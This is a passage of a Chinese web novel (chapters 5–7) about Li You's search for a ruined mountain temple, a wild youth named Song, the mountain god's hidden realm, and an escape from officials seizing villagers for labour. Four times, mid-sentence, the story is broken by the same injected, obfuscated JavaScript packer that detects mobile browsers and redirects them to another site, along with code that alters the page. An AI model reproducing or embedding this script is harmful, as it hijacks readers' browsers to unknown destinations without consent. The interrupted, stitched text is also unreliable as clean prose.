趁着天还早,他们当即告别了老人,试着朝那座义仓赶去。 走远了些,庄正来了句:“这人能信吗?我看他像那个邪祟,长得跟前朝太监似的。” 被金悠远远地朝脑袋扔了颗果子。 “算了,老规矩,谁先找到义仓谁赢。”庄正来了劲儿。 金悠便屁颠屁颠跟在他后面追。黎宥懒得跟他们玩闹,自顾自地研究着路线。 待到日斜西山,三人已累成泥猴,却仍是没见什么义仓。那老头儿不会真是个骗人的吧?黎宥抬头观望,却蓦地发现周围的植物变暗淡了。 又来?又来,和上次的感觉似乎没什么两样! 黎宥猛一甩头,抬手抹了把脸上的汗,又给自己灌了两口水,出了一身虚汗。自从第一次晕倒,她现在对一切暗下来的东西都尤其敏感。不过她看走在前的两人都没察觉任何异样的样子,不禁有些疑惑。 黎宥小心着尽量不让自己踩死什么花草,不过幸好,这种“暗淡”的感觉很快便不知所踪,大概还是因为太热了吧。 天色渐暗,庄正准时地啃着带来的干粮坐下休息。 金悠漫不经心地看着图纸道:“现在我们的位置看起来已经到了半山腰,也不知道方向有没有错。可是既然是前人常来的义仓和寺庙,怎么会走上一天都没个影?” 庄正道:“嗨,说不定这老几辈的人就喜欢把庙建在深山老林里呢。管他,找不着庙就去找别的。那老头的话你也别信,我看着都比他靠谱。” 金悠举着图纸比划半天,突然指着不远处惊呼:“陡坡!这个陡坡……不出意外翻过去就差不多能见到庙了!” 黎宥三两步赶到金悠身旁。 眼前的坡虽陡,却不高,在约三丈高的地方就没有再延伸上去了,这不是赤裸裸地诱惑人爬上去一探究竟吗? 这事儿还得要黎宥来,她虽是女子身,却是三人里身手最敏捷的。 细细观察了一下陡坡上并没有奇草异物后,黎宥向后倒退几步,靴尖碾着碎石蓄力,随后猛一冲刺,在坡底起跳,紧接着两手稳稳抓住两旁的枝干,一鼓作气攀上了坡顶。 “哇,猴儿。”庄正笑道。 等了半晌,庄正把手拢在嘴边对着黎宥飞出去的方向大喊:“喂——!看到了什么?回个话呐!” …… 没有任何回音。 庄正脸色一变,眉头都来不及皱就拉开步子往上爬。金悠见状,也赶忙搀着枝干爬,结果就是不出三秒,俩人都摔了个底朝天。 “不是?这人不会真出事儿了吧?黎宥——!”庄正此时有两个不可置信,一是不相信黎宥遇险,二是不相信这个小坡坡自己爬不到三步。 变故来得猝不及防,弄得二人茫然无措。 怎么飞上去的啊?到底是怎么飞上去的啊?庄正气恼地拍掉身上的泥沙,顺手也帮金悠拍了——这傻小子竟然又跪在地上翻起了地图。 “这个时候翻地图有什么用啊书呆子,现在有路也过不去啊!”金悠没管他,庄正顺势凑了过去,这下才意识到天已经完全暗下来了。 正当庄正准备再次爬坡时,一声“救命”冲破天灵盖。 坡底两人一对眼,异口同声道:“黎兄?!”庄正起了一身冷刺,立马对着坡顶回喊:“黎宥!你还好吗,我们来救你!”话音刚落,庄正便咬着牙吭哧吭哧地爬。 这身法说不上好,倒像是酒楼里的东坡肉——看着油光水滑,实则稀烂。 金悠也喊:“庄正哥,我在下边儿接应你!” 好一会儿,庄正才爬到坡顶。他心急如焚地四处张望,直到脚下再度传来黎宥的声音:“这里!” 庄正往下望去,发现脚边不远处就是一个悬崖。 他脚一抖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420084|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差点儿也掉下去,遂急忙顿了脚步。悬崖壁看着不陡,但却生满了一种带刺的藤蔓。斗胆伸出半个身子,他看到黎宥正举着打着的火折子轻轻晃动。 火光的照耀下,他还看到黎宥的脸色苍白,表情痛苦,血迹斑斑,以及在她的周围,荆棘丛生。 庄正心下一惊,立马转身喊金悠递绳子。 接过麻绳,庄正把一端绕在手上,将另一端对准黎宥甩下去。 黎宥把麻绳圈在腰上,随后举起手朝庄正比了个手势,示意他拉自己上去。庄正握绳子的手直打颤,麻绳在半空扭成个麻花。他斜身想借着坡顶和山坡的拐角使力,却在拉的一瞬间听到一声惨叫。 “啊啊啊啊——” 这惊叫声来自悬崖底,回头的一瞬间,他看到暗处窜出条紫红长影。不明条壮物缠在黎宥腰间,猛地把黎宥拉向黑暗中,绳子瞬间脱手,留下他一人再次愣住。 庄正只觉得手心火辣辣一疼,再定睛时,崖边只剩半截断绳在夜风里晃悠。 黎宥此刻正卡在岩缝里,头顶传来庄正杀猪般的嚎叫。她摸出火折子一照,差点没把隔夜饭吐出来——岩壁上密密麻麻嵌着人形凹痕,活像被烙进石头的冤魂。最骇人的是那些人脸眼睛全都朝着某个方向,齐齐看着岩缝深处…… “金悠!把朱砂粉扔下来!”她突然朝上嘶吼。 “黎兄,接着!”庄正他们现在显然进退两难,况且悬崖下面还不知什么环境,黎宥只好在最后的挣扎里叮嘱他们快回去别下来。 黑暗中,黎宥强忍着疼痛,拼尽全力扒拉周围,想着就算能抓住一根树枝也要比现在跟条拖把似的被四处拖要好。 可惜老天没给她这个机会,那地上全是烂泥,也有可能是这怪物的排泄物,总之,周围没有能借力的东西。 火折子在一片泥泞中又灭了,此时此刻黎宥也顾不上思考,将手中朱砂往腰间一洒,随即,腰间一松,那怪物放开了她。 黎宥立马本能地回头往怪物的方向望,借着月光,勉强能看见两只幼犬大小的动物窜进深处。等等,两只?这和缠腰上的玩意儿怎么想也对不上啊……这到底是什么怪物啊? 来不及顾虑太多,为了防止再有什么东西伤身,当下还是赶快找回去的路好。也不知道另外两人怎么样了,黎宥心怀愧疚,正是夜深,任何危险皆无法估量。 摸索着找了处石壁靠着,她开始盘算接下来的步数。这里应该还是摔下来的坡底,要上去不算难。 只是,方才所见到的诡异岩壁让人匪夷所思,叫她总想去一探究竟。 此刻已是真的夜了,黑暗在耳道里筑巢,苔藓摩擦风声嘶吼,叫人是靠在石壁也不觉安宁。 阴湿的寒气浮起,不知怎的灌得黎宥脑子越发迷糊,她抬手用力敲自己的额头,然而却无济于事。 靠着石壁,黎宥在警醒和迷糊的交替中沉沉睡去,伴随着她的,还有不知从何而来的磷火刮过生锈门轴的呻吟。 5. 神庙 第二天,隐隐约约的一阵窸窣声吵醒了她。她立刻清醒,原地定住,缓缓侧头细听。声音来自背后,像是什么动物在踩枝叶的声音,而且走得颇为小心翼翼。此刻黎宥庆幸这块石壁把自己挡的严严实实的,否则大概又要玩命了。 然而等了片刻,那声音就消失了。可也就是在偏头观望的这一刻,黎宥发现了不得了的东西。 在她背后的石头上,凌乱地刻画着一些文字和图案。在这貌似最不该出现人类痕迹的地方,出现了文字,出现了图案,这对于黎宥来说,惊讶程度不亚于发现海底生存着人类。莫非这里以前有人来过? 再度确认了周围安全,黎宥开始仔细观察石壁上的痕迹。 石壁有一人多高,且是难得的一块完整、平滑的石头。至于上面的文字,黎宥盯了半天,也没看出个所以然来。头一开始以为是什么异域文字,直到在一处边角看到了零散的几行字,写着“望心爱……安康……长久”的字样。黎宥再往回看,才反应过来,这哪是什么异域文字,这是许多人的字交叠在一起,所以乍一看才认不出来。 想到这里,黎宥一身鸡皮疙瘩渐起。这整整一大块石壁上,都是人们写下的愿望。 笔划间,有轻有重,有深有浅,但却没有一丝犹豫,全是尘世间,最真挚的感情、最纯净的祈祷、最美好的祝愿……挥毫之下,半生残卷。好像前人往事尽浮眼前,连喜悲哀惧都能听得一清二楚。 正看的入迷,忽然,一抹白影如疾风般划过眼前,随即,喉颈冰凉。 黎宥心中警铃狂响,这山里,有人! 她小心地咽了咽口水,冷静道:“是谁?” 那人不说话。 这咋整。刀都抵命脉上了,他不说话我哪敢回头?! 又僵持了好一会儿,那人才终于开口,只不过,他说得很轻,而且音调非常奇怪: “猪俺。” 猪俺?猪俺是什么鬼?不会讲的是啥方言吧? 黎宥还是没敢动。 空气又寂静了几秒,忽然,似是背后的人实在忍无可忍了,猛地将刀旋过来,用刀背抵住她的胸口。随后黎宥感觉脚下一空,自己竟三两下被人给撂倒了! 这下她才意识到,那人说的,应该是“转”。 压着他的手力气出奇大,一瞬的晕眩后,黎宥才看清眼前是何方神圣。那人竟是看起来和她一般大的一位少年,只是,他蓬头垢面,一头黑发缭乱地用草绳扎起,上身衣物不知去哪儿了,只剩几片破布粘连在周身大大小小的伤口处,肌肉健硕,身体线条张扬不羁。 最不可忽略的是他的眼睛,那人虎视眈眈地盯着黎宥,眼里仿佛燃着一团煞火,恨不得把他绞碎吞掉。可是为何要这样看着她?她黎宥一没做贼二没做奸,就在这石头下睡了一晚……难不成这石头,是他老婆。 那人见黎宥不动,便缓缓松手,一手拿刀仍挟着她的脖子,另一手则伸向她的腰腹。 黎宥目光随着他的手,以为他要对自己做什么不雅之事,正准备趁机反抗,却见那人只是从她腰间扯出了一块破布,然后便头也不回地离开了。 黎宥纳闷,他翻身起来,看那家伙扯的并不是他衣服上的布——而是一块不知何时卡在她腰间的肮脏不堪的破布。迟疑了一会儿,她决定跟上去。毕竟深山里能遇见同类不容易,更何况还是有些身手的。 最后看了一眼石壁所在的位置,黎宥快步追了上去。那人跑得很快,好像对这里很熟悉。 花了好一会儿才见到那人的身影,她看见那块破布已经被那人披在了身上。 不是吧……腰间,破布……好像有什么事情忽然明了了起来。 昨日晚上把他扯走的,原来竟然是两条狗,为了抢这块破布谁都不松口然后顺路捞走了黎宥吗……? 然而那人是在她身上找到的衣服,该不会要以为她是贼子吧? …… 继续追着。 那人灵活地在枝繁叶茂中穿梭着,似乎没有要停下来的意思。跟着他老费劲,黎宥不仅要看他往哪跑,还得时刻留意走的是什么路,以便之后实在迷路了还能找回来。 黎宥边跑边喊:“等等——大侠!等等啊——” 然而半日过去了。 嗓子哑了,腿抡断了,终于在距离大侠不到一丈之处,重重地摔进了一个一丈深的陷阱里。 人要学会在绝望中寻找希望,当你陷入绝境的时候,会发现自己跟根本不是人。 掉进陷阱里的一声闷响惊飞了树林里的鸟儿,幸而身下有比她先到的前辈,她才不至于摔得太狼狈。 黎宥重重地叹了一口气,打算不再追那个奇人了。看来此行并不顺利,下次无论如何都要先看看日历。 陷阱里都是野兔、黄鼠狼之类的小动物,再搬几块石头垫脚,伸伸手应该能爬上去。 这些猎物看来是刚掉下来不久的,既然这里有如此完整的陷阱,就代表有人在这附近打猎,还是要提防着些才好。 搬好石头,再往上边放了两只黄鼠狼,黎宥一脚一蹬,轻盈地窜上洞口。 谁知,脚跟都没站稳,就撞上了“打猎归来”的大侠。 那人不知为何又折回来了,手上还拿着不知哪拔下来的藤蔓。这意思是……想来救她?该不会是觉得我摔惨了心里愧疚吧?这样也好啊,也算是“踏破铁鞋追不上,得来全不费功夫”了。 见黎宥又一次愣在了原地,那人面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420085|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露不解,皱着眉绕开了她,转而去看她身后的陷阱。他沿着陷阱边儿走了几步,然后顺着一根麻绳滑了下去。黎宥见此,心中大惊:什么?!那陷阱原来是有绳子上来的?有绳子上来的!那我方才踩扁的那两只黄鼠狼……不会是他的吧…… 罪加一等。 来不及多想,黎宥忙趴边上朝洞下礼貌又歉疚地喊:“大侠,那个……抱歉,方才小的粗心,没发现原来这井下是有绳子可以爬上来的,就……借用了您的猎物……哈哈,哈哈……” 那人闻言,抬头瞥了一眼黎宥,眼神平淡,又低头继续忙活。黎宥看见他在用方才拿在手上的那根藤蔓将猎物尽数捆起,然后甩到岸上。 …… 这么一折腾,一天又匆匆到了傍晚。看着将暗未暗的天,黎宥心里不太是滋味儿,她不喜欢一事无成又虚度光阴感觉。她站在一旁,手无措地交织着,看着那人利落地收拾着。等到他爬上来,黎宥也想好了怎么和他道歉,甚至想好了他要是要钱的话就先找庄正借点。 那人拽着绳子,很敏捷地蹦了上来。 “你饿了。”那人冷不丁冒了一句。 “不是,我——” “你追我,进我的陷阱。”那人话里有种莫名的倔强。 黎宥懒得跟这种神经病计较,忍住了翻白眼,但还是毫不客气地说了两个字:“不是。” 那人微微皱眉。天色有些发青了,他从口袋里掏出一根火柴,点亮了一根木棒,瞥了黎宥一眼,道:“你跟我来。” 黎宥迟疑了一会儿,还是跟着他走了。 这下是彻底迷路了,现在,只能寄希望于他是个好人,看他样子,一定很熟悉这座山没错了。 漫不经心地走了约有一刻钟,那人在前方停下,回头看了眼黎宥,大概是示意到地儿了。他又燃起了一支火把,递给黎宥,自己则找了个石头坐下,开始生火烤肉。 他身旁有一块巨大的光滑石头,其上堆摆着些吃完的动物骨架,还有草编的一些容器。这里莫非就是他的住处?黎宥看他没在意自己,便举起火把打算四处观望。借着火光,一片壮阔的景色豁然展于眼前。 “这是……”黎宥失了声,嘴里不断喃喃着。 日照山阿,其何巍兮。 古树嘶风,杳冥冥兮。 灵神恩泽,民敬祭兮。 一朝朝圣,一岁迁忘。 神华散尽,终不见天。 …… 残桓断壁横七竖八地倒着,像绝望的人群在无声呐喊、呻吟。瓦砾散落,沙尘静静飘扬。铜色神像亦随众生倾倒,斑驳攀上慈悲的面孔,仿佛能窥见那个恢弘悲怆的年代。 这是一座神庙,他们要找的地方。 6. 青平 “喂。”蓦地,那人叫住了她,“别去那里。” 黎宥恍神,原来不知不觉间,她已经往前走了好一段,那人叫住她时,她半个人已经没入废墟里了。 黎宥边应声边往回走,此刻她整个胸腔都弥漫着一种奇怪的感觉……凉与热交杂,激动与悲凉交织。倏然间燎起的一点火苗还没经风洗礼就暗了下去,她迫不及待地要去问问这是怎么回事,想剖开每一粒尘埃去了解每一寸过往。 黎宥回到那人旁边,在他对面坐下。他搭了一个火堆,架着一只野兔在上面烤,火窜得很高,映得他眼底亮亮的,身体的线条也在火光下更显优美——彼时二人皆无话,而黎宥余光中注意到了他腰间的刀。 那刀生的很奇,并不像通常所见的刀——一片铁配一个把手,而是通体腥白,尖端微弯,还岔着倒刺,看来是某种动物的獠牙;手握的地方像是鹿的角,最外面用一层皮包着,看起来极危险,却挡不住其霸气,和那人的气场十分般配。早上抵在黎宥颈上的就是它,感觉凉得诡异。 这样锋利、巨大且完整的牙齿不好找,黎宥心想,这人来路不简单。 缓了一会儿后,黎宥终于决心问他:“敢问大侠,这处地方您熟悉吗?” 那人幽幽说了一句:“我住这里。” ……谁管你是不是住这里。 黎宥换了个问法:“可是这里看起来是个寺庙,这里以前奉的是哪位神仙?” 森林里有猫头鹰鸣叫,有纺织娘啁啾,有野兔的皮在烘烤下滋啦作响,就是没有他的声音。 黎宥心里暗骂,她假装刚才只是自娱自乐自问自答,举着火把“好奇”地四处张望试图掩饰尴尬。 火气未消,她面前就被递了一只兔腿,兔腿后,是清晰无比的六个字:“你没必要知道。” ??? 黎宥真想冲上去给他一拳然后说“我是不是太踏马的听你话了”但是不敢。 翌日天一亮,那人就离开了,黎宥远远地跟了一段,确认他走远了才回到废墟处,她要在这堆破砖烂瓦里寻些蛛丝马迹。 黎宥的心跳得很快。 砖瓦被踩的时候发出古老的吱呀声,总觉得这里面住着一位落魄的仙人,而那奇人是他的看门狗。 她噗嗤地笑了一声,稍稍放松了些。 绕过几块巨大的梁子,一尊神像出现在黎宥脚边。她缓缓蹲下去,神像的细节愈发清晰。 已经结满铜臭了啊。她捡了一根树枝捅了捅那神像,慈悲的脸一动不动笑着,可是看起来苍白又无力。它身下粘满了尘土,那是为曾经燃香的人们保留的祈愿吗?神不愿让人们看着这片土地被烧灭,于是亲自躺下,希望有朝一日能再保世人平安…… 黎宥静静地想着,用手轻轻将它身上的污泥擦了去,然后立在地上,无比虔诚地拜了拜。 几乎是任由思绪带着身体前行,荒芜全都赤裸裸地展现在她眼前,仿佛要将她的心撕开,把世间悲剧都塞进去。 可是她不知道自己为什么要这样想,不知道自己为什么会有一种愧疚感。她甚至不知道为什么这里会沦落成这样,就想落泪了。 从一路走来路上见到的神像来看,这寺庙比寻常的似乎都要大,有好几个神都有独立的祠堂。不过……怎么没见到所谓的“山神”?庄正不是说,山神是众神之首吗?起码也该看到一尊尺寸大一圈的神像才对吧? 疑惑溢于眉间,她张望了一圈。石壁都已经粉碎得不成样子,辨别不出原来的神圣了。 那场战争,难道和神佛有关吗? 黎宥边沉思边漫无目的地朝深处走,忽然上方传来一声鸟叫。因着庙里寂静异常,故而这声鸟叫显得格外突兀。她猛一抬头看去,眼前的东西却让她瞳孔骤然放大。 !!! 头顶的一根树枝处,一抹暗影挂着,那是山神像。 神像被倒吊,看起来比其他神像伤得更糟糕。它双眼凝视着某个方向,仿佛死不瞑目。 震惊未缓,只听得那鸟又长长叫了一声,往某处飞去。黎宥觉得这鸟有灵性,便拔腿追了去。她回头最后看一眼山神像,那鸟起飞时蹬得树枝一晃一晃,神像也随之上下摆动,远远地望着黎宥离去的方向。 鸟儿浑身乌黑,只有双翅末端泛着翠青。眼见黎宥要追不上时,它就会停下,短哼一声,才继续飞。 追了不过一炷香,眼前便迎来一片豁然明了,如同一个新奇的世界。黎宥来到了一处堪称世外桃源的地方。 雾岚翩跹,流水坠跃,远处仿若有空灵的琴声,缠绕着水汽传来,柔和而袅袅。这里是一处山坳,静静地镶嵌在群山之中,幽谧得像是连日月都不曾受污染。黎宥驻足山头,尽览眼下河山,心中纵有疑惑与震撼,却都化在缕缕仙气中了。 回过神来的第一个念头是,这里的花草树木,显然比先前所见要有生机得多,肉眼可见是饱受滋润和快乐的。 她紧绷的神经在此刻也自然而然地松了下来。那只黑鸟已经消失了,但在层层叠叠的白雾里,却能看见数不胜数的白鸟在飞。 “是仙鹤吗?”她微微出神。 正欲迈步,忽然一只鹤直冲过来,大翅膀故意似的一扇,猛把她掀翻,溜似的滚落到谷底。 “哇啊啊啊啊啊——” 一声惊叫,那隐约的琴声都顿了顿。黎宥翻身起来,嘴里小声地骂了一句,随即发现眼前的景色又翻了一番。相比于方才站在山头感受到的静谧,现在则更多的是空幽。前面有座小桥,是很漂亮的岩石做成的,而且没有砌合的缝隙,像是用天然的大石头雕出来的。 沿路走,黎宥走得颇为拘束。她猜测这里大概就是传说中山神的居处了吧,仙境就是不一样啊,自家收拾这么干净,也不管管外边儿,都死多少棵树了经得起你这么造啊? 山谷之下,石桥之上,放眼望去,古树绵延,碧冠遮天。石桥下方是一条极安静的河流,隐匿在丛生草厥之中,仿佛明镜;有二十步宽,悠远绵长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420086|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知流向何方。方才一下来便有种凌乱的感觉,现在凑近一看,才发现树枝树干上竟生满了藤蔓,随意地垂落一地。 黎宥对眼前的新奇事物很有探索欲,不论这是否真的是山神的居所。 往深处走,琴声又起。穿过石桥,脚下出现了一条小径,一路得不停用手扒拉挡在身前的藤蔓枝条才能继续走,黎宥感觉她像和在面条里的肉。 又走了小半刻钟,前方豁然开朗。葱绿之中,矮殿鳞次栉比,错落有致,相比于站在山坡上看到的景象,这里有了人气,毋庸置疑,这里兴许就是山神的居处了。 黎宥往前走,看到路边有一个界碑,刻着“青平仙尊居”还有“佑则元年七月刻”的字样。黎宥用指尖轻轻抚过凹凸的纹路,突然想起来,“佑则”好像是她某位祖先的名字,她小时候在祭祖典会上见过。看来,这位叫“佑则”的先祖就是淮池的第一位国主了,同一年,也设立了山神来保护淮池,山神名为“青平”。 矮殿样式相近,腾飞的屋檐尖儿,凛然堂正的牌匾,玉琢般的梁柱……它们与黎宥久远记忆里的王府模糊又重叠。黎宥就这么站在殿前,任清肃的风洗刷头脑。 她找到两名门吏,向他们询问。门吏抱歉地告诉她,昨日山神便闭关养精了,为时一月之久,以供养众山万物之灵。 黎宥还要问再多,那门吏却闭口不言了。 她垂头作虔祷道:“山神在上,小民诚惶诚恐,伏于尊前。今四方虽安,然深山似有古怪。望山神庇佑,风调雨顺,五谷丰登,使百姓皆能安居乐业,远离饥馑战乱。” 小民不胜惶恐,敬祈山神垂怜护佑。 便转身离去了。 走出界碑所在处,回头看,那仙雾缥缈的壮景居然无影无踪了。黎宥心想,看来山里有不干净的东西这件事不假,要多加小心才是。 凭着记忆,黎宥回到了废弃神庙。她四处观看了一圈,发现那怪人还没回来,心下松了一口气,便大摇大摆地哼起了歌。 可是好歌却无好景衬,一回神,脚下竟躺了个死人!黎宥极迅速地跳开一步,才发现这哪是什么死人,这分明就是那个怪人!可这人怎会躺在这种地方? 黎宥又极迅速地跳到他身边,拍了拍他的双肩呼道:“你没事儿吧?醒醒,醒醒!” 探他的鼻息,是在的,却已经极微弱了。 她转而伏在他的胸膛,去听心跳如何。这一听,直叫人呼不得了!这这这个怪人,他没有心跳! “怎么会……?”黎宥握着拳,心中却不得平静。可这又毕竟是个活生生的生命,我来找什么所谓山神,不就是为了大家能平平安安的吗? “再拖下去他可能就没气了,这会儿就真是个死人了。罢了,拖他下山吧,到时候要是真死了也有个人帮他埋,当作还他的人情好了。”黎宥咬着牙将那个男人扛在背上,背起来才发现,黎宥相对于他来说,好像和那些猎物没什么区别。 “……感谢不杀之恩。” 7. 嵩 下山的过程似乎比想象中顺利,只不过那人还是没有醒来。 这样一来却又不好解释了,他们给老鸣的说辞是赴宴,那现在一身蓬首垢面不说,背着个毫不相识又不死不活的人回来算什么。再有,和庄正金悠他们也走散了,一路下来也没有见到人。 进退两难。 事已至此,也只有硬着头皮回家了,反正找到了山神,再怎么说也是老鸣亏了。 推开老木门,好以为总能歇歇气儿了,谁知庄正忽然从门缝冒出来揪着她的衣领怒吼道:“黎宥我去你的,让你好好跟着我们赏花不好,你非去勾搭别人,这下好了,力气牛大,跟人家开玩笑一拳给人家整晕了。跑跑跑,你以为你能逃出我手掌心?呵,还知道回来。老鸣,揍她!” 黎宥不明所以,但完全插不上话,门也关不上,早知道让那怪人把我揍死算了,闹得。 但是庄正这么一吵,倒是一扫门前雪啊,吼那么大声,整条街都信以为真了。 老鸣没管庄正,也没管黎宥,反倒去关心起那个完全不认识的人了。这下黎宥才发现,那人醒了过来,正用一种奇怪的眼神注视着她。 庄正悄摸凑到黎宥耳边问她:“哎,这人谁啊?不会真是你一拳给人家打晕了然后心生惭愧才把人大老远背回来的吧?” 黎宥没搭话,她注意到那人盯着她的眼神很冷,明明该有的感谢没有,反而更像是仇恨,恨之入骨的冰冷。 她假装不知道。状若无事地拉着庄正道“累死我了累死我了,快扶我到榻上去。” 瘫坐在榻上,歇了好一会儿,她才缓缓地将山中数事道来。 庄正听罢,也无声可出。他偷摸到门边看看那人,又蹙着眉眼嘴鼻回来,手指比划半天,就憋出句:“一个死人,坐在咱家……?”又猛一锤手道,“你说你,背个死人回来干嘛?平时不见得你这么有良心。你早该在发现他不是个常人就赶紧一走了之了,为什么还把他带下山啊?你疯了吗?” 黎宥幽幽叹了口气:“你先别乱下定论,万一,我是在想万一,我当时太累了,没仔细听清呢。你看,他还是个活人吧?是个活人就有机会跟他好好理论,再说他单打独斗,要置我于死地也不成啊。” “啧,够乐观啊你这人,我们这儿就没几个人能打得过你,他要真发起狠来,恐怕难料。” “……老鸣呢,还在看着他吗?总之这些事儿你不要和任何人说,金悠也不行。我们等良辰吉日再去找山神,到时候也许……到时候再说吧,我会小心那人的。” 黎宥回来时已经是天黑了,等送走了庄正,夜已彻底入深。老鸣见着黎宥,却什么也不说,埋怨似的拿根手指往她一指,啐她:“尽会给我添事儿。” 黎宥小心地朝那怪人瞥去,只见那人依旧保持相同的姿势一动不动。老鸣给他换了一身干净的衣服,黎宥转身倒了杯水给他,他看也没看一眼,嗖的一下站起身来,用蹩脚的字音问道:“我睡哪里。” 好问题。黎宥挠了挠脸上不存在的瘙痒,屋里只有我和老鸣的两张榻,老鸣是百分百不愿意和他共枕的了,让一个客人睡地上也不合情理。 黎宥无奈指向自己的床榻道:“没有多……”话没说完,那人就径直走过去躺下了,还是没有道谢。 罢了,黎宥无语,一个野人,要他讲什么礼貌。 屋子彻底安静下来,黎宥独自坐在烛台前。烛光把她脸上的疲惫和苍白映得一览无余,她拿起一面铜镜,对着铜镜喃喃自语。她最擅长独自一人发愁,尽管现实没那么糟。她又去想「那些问题」——平淡之下的算计和猜疑,她总直觉有什么人在背后操控一盘棋,而她作为一颗棋子,连向何方去、被谁将下都是让人捏着脖颈安排好的。 黎宥默默收起了愁色,细细整理额前鬓下的发丝,让自己看起来像平时那个镇定自若的男子黎宥。 不知道怎么睡着的,总之醒来时,本来就麻痹的胳膊这下更是失去了知觉。 在和胳膊斗志斗勇之际,余光瞥见,那个怪人正往门外走去。 黎宥立马装死,她倒要看这人想干嘛去。 好一会儿都没动静,黎宥睁开眼,发现那人愣在原地。 看来是连门都不会开。 这么个人畜无害的家伙,能杀几个人呢? 下一秒,那人就抬脚往门踢去。 “哎哎哎!!”黎宥赶紧喝住他,“这木门年纪说不定比你还大,看在尊重老者的份儿上,还是我来帮你开吧。” 那人茫然地看她,来了句:“你是谁。” ? 人总不能忘恩负义到这种程度吧? 还是说单纯到以为演一出失忆的戏码就能赤裸裸地走掉啊? 怔住之际,那人已经顺利走出门了。 下意识的,黎宥也追了出去。 她搭上他僵硬的肩膀,强行说道:“仁……仁兄,你的病症尚未痊愈,还请你暂留于我家,找医师为你疗伤。” 见那人爱搭不理,甚至毫无反应地径直向前走,黎宥终于是耐心不下,拦在那人身前,质问他:“你到底是什人?为什么非要回山里?我把你从深山背下来……要不是我发现了你,你现在说不定已经死无全尸了!”从没粗着嗓子跟人生过气,这几句话从喉咙里猛然冲出,叫她不得不激烈地喘息着,看起来像只炸毛的猴子。 “我没事。”那人轻飘飘一句便打发了她,冷水一般泼在黎宥脸上 “那告诉我你是什么人总行吧?”能住在深山里与大自然的一切未知抗衡,真的很叫人好奇。 其实黎宥没指望他能说出些正点儿的。那人却闭眼沉凝了好一会儿,道:“嵩。” 嵩? “我叫嵩。” 他叫嵩。 …… 话语落下,他仍是干脆利落地离开了,像是向往什么归宿似的决绝地朝山林走去。 也许是生来就属于那里,也许是要守护什么无妄的苦衷。 她收回目光,转身回屋。 近来入秋,不过今天太阳很大,黎宥把梅雨天酿发霉了的被褥衣物全都抄到太阳下晾去了,正好再好好睡一觉。 午后,街道传来叫骂声。 而且听起来人不少,还混着杂乱的碰撞声。 随后,屋门被人敲得奇响。黎宥开门,来者是愁眉苦脸的庄正,他压着粗喘狂拍黎宥肩膀说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420087|168994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“快、快藏,那帮腌臜又来收人!到吴二婶家了,抓了两个毛孩儿去,说嘛也不听,要他们去给朝廷当劳力。我说什么,劳力都是好听的了,他二婶家去年走的大儿子今儿个还没回来,说不定早死了呢。”他懦弱地眯着眼,生怕死的是他似的,“总之快藏好,被妖怪吃了都好过当朝廷的洗脚水。” 黎宥了然,庄正说的是八年前战争后新上廷的一族。他们像是蛰伏在草中的草狐,黎氏一倒,他们便理所应当地上位了。这些年来繁荣不见得,天天就乐意抓人去建茅厕。 黎宥被推搡着进屋。 事实上她想说她家就这点儿地哪藏得住人,老鼠来了绕两圈也能找到门。 他们藏在后院灰黑的柴堆里,果不其然,那些人很快便找上了门。 老鸣作为先手和那些官兵对峙。 但显然不中看也不中用。 眼看那帮人绕过了柴堆,准备走了,柴堆里却突然发出一声清脆的“啪”。 “有人!”领头的那个警剔地大喊。 几个人将柴堆重新围了起来。 黎宥盯着他们,不高的空间里闷热的恼气爆炸般蔓延,她积攒着冲出去和他们正面交锋的怒火。 千钧一发之际,庄正握住了她的手腕。 “喵。” 一声凄美动人的猫叫让所有人都冷静了下来。 这是从庄正嘴里出来的。他趁那些人被转移了注意力,蓦地站起身来,将事先握在手里的一抔土猛地撒向他们的眼睛,然后拉上黎宥跑出柴堆,为了防他们继续追,他还划了根火柴点燃了那些散柴,在官兵愤怒与急迫的目光中翻过院墙。 